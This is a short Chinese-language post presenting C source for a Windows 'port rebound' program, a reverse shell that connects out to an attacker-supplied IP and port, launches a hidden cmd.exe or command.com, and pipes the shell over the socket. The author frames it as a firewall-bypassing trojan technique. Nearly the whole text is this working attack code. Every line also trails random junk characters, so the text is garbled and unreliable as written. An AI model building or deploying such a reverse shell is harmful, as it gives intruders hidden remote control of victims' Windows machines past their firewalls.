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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o[1ylzk}+  
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/* ============================== +&|S'7&{  
Rebound port in Windows NT xV\5<7qk5g  
By wind,2006/7 $uDqqG(^  
===============================*/ TDtAmk  
#include ]N{0:Va@D  
#include A,gEM4  
beXNrf=bG  
#pragma comment(lib,"wsock32.lib") ^tH#YlV4>9  
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void OutputShell(); I?Aj.{{$G%  
SOCKET sClient; )C%N]9FvY  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -&2B@]]  
sOU_j:A80;  
void main(int argc,char **argv) uz3 0_aH  
{ sEc;!L  
WSADATA stWsaData; %^]?5a!  
int nRet; As&v Ft P  
SOCKADDR_IN stSaiClient,stSaiServer; #Q"O4 b:8  
w ej[+y-  
if(argc != 3) \ I`p|&vG  
{ wzCUZ1N9q  
printf("Useage:\n\rRebound DestIP DestPort\n"); fbvbz3N  
return; 28.~iw  
} tBATZ0nK`Q  
. T JEUK  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,u9M<B<F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XT>.`, sv  
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stSaiClient.sin_family = AF_INET; R&f^+0%f  
stSaiClient.sin_port = htons(0); E:`v+S_h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rN)V[5R#M  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I@#;nyAj"  
{ 6NWn(pZ]p  
printf("Bind Socket Failed!\n"); _~u2: yl (  
return; c]-*P7W  
} )!BsF'uVQ  
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stSaiServer.sin_family = AF_INET; bi4f]^hQz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z3TS,a1I4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !p/%lU65  
\55VqGyxu9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vr[czfROz'  
{ k^"bLf(4  
printf("Connect Error!"); \!]hU%Un  
return; W,^W^:m-x  
} q@hzo>[  
OutputShell(); G q<X4C#|  
} D]G)j  
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void OutputShell() :#~U<C@o  
{ KJ2Pb"s  
char szBuff[1024]; &fa5laJb  
SECURITY_ATTRIBUTES stSecurityAttributes; 7CXW#H  
OSVERSIONINFO stOsversionInfo; !~]<$WZV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }Ew hj>w  
STARTUPINFO stStartupInfo; j^tW Iz  
char *szShell; 3DgsI7-F  
PROCESS_INFORMATION stProcessInformation; sZ,Y60s8a  
unsigned long lBytesRead; Isy'{ -H  
7{@l%jx][  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XW{>-PBg:  
0& >H^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q6gt+FKU9  
stSecurityAttributes.lpSecurityDescriptor = 0; $$APgj"|<  
stSecurityAttributes.bInheritHandle = TRUE; HB+|WW t>  
_A13[Mt3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t\P<X^d%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *Xo]-cKL0  
2*"Fu:a"`I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .MQ^(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OU5*9_7.  
stStartupInfo.wShowWindow = SW_HIDE; ,)PiP/3B  
stStartupInfo.hStdInput = hReadPipe; ;9o;r)9~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O$/o'"@ /  
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GetVersionEx(&stOsversionInfo); 5DOBs f8Jo  
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switch(stOsversionInfo.dwPlatformId) n Ox4<Wk&  
{ nJ4pTOc  
case 1: =K'cM=WM6  
szShell = "command.com"; QrO\jAZ{Ag  
break; {7TlN.(  
default: -7J|l  
szShell = "cmd.exe"; ^7zu<lX  
break; 1I@8A>2^OX  
} N7E$G{TT  
_@S`5;4x  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  |@NiW\O  
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send(sClient,szMsg,77,0); @36u8pE  
while(1) z [`@}}Q  
{ Zo1,1O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,h"-  
if(lBytesRead) "&Po,AWa  
{ 2'=T[<nNB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =X.LA%Sf=u  
send(sClient,szBuff,lBytesRead,0); Z{&cuo.@<]  
} T~Q JO0  
else }neY<{z  
{ c'/l,k  
lBytesRead=recv(sClient,szBuff,1024,0); C8FB:JNJV  
if(lBytesRead<=0) break; >pUtwIP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4pw6bK,s2\  
} %v20~xW :o  
} Ft}@ 1w5  
9tF9T\jW  
return;  H"A7Zo  
}
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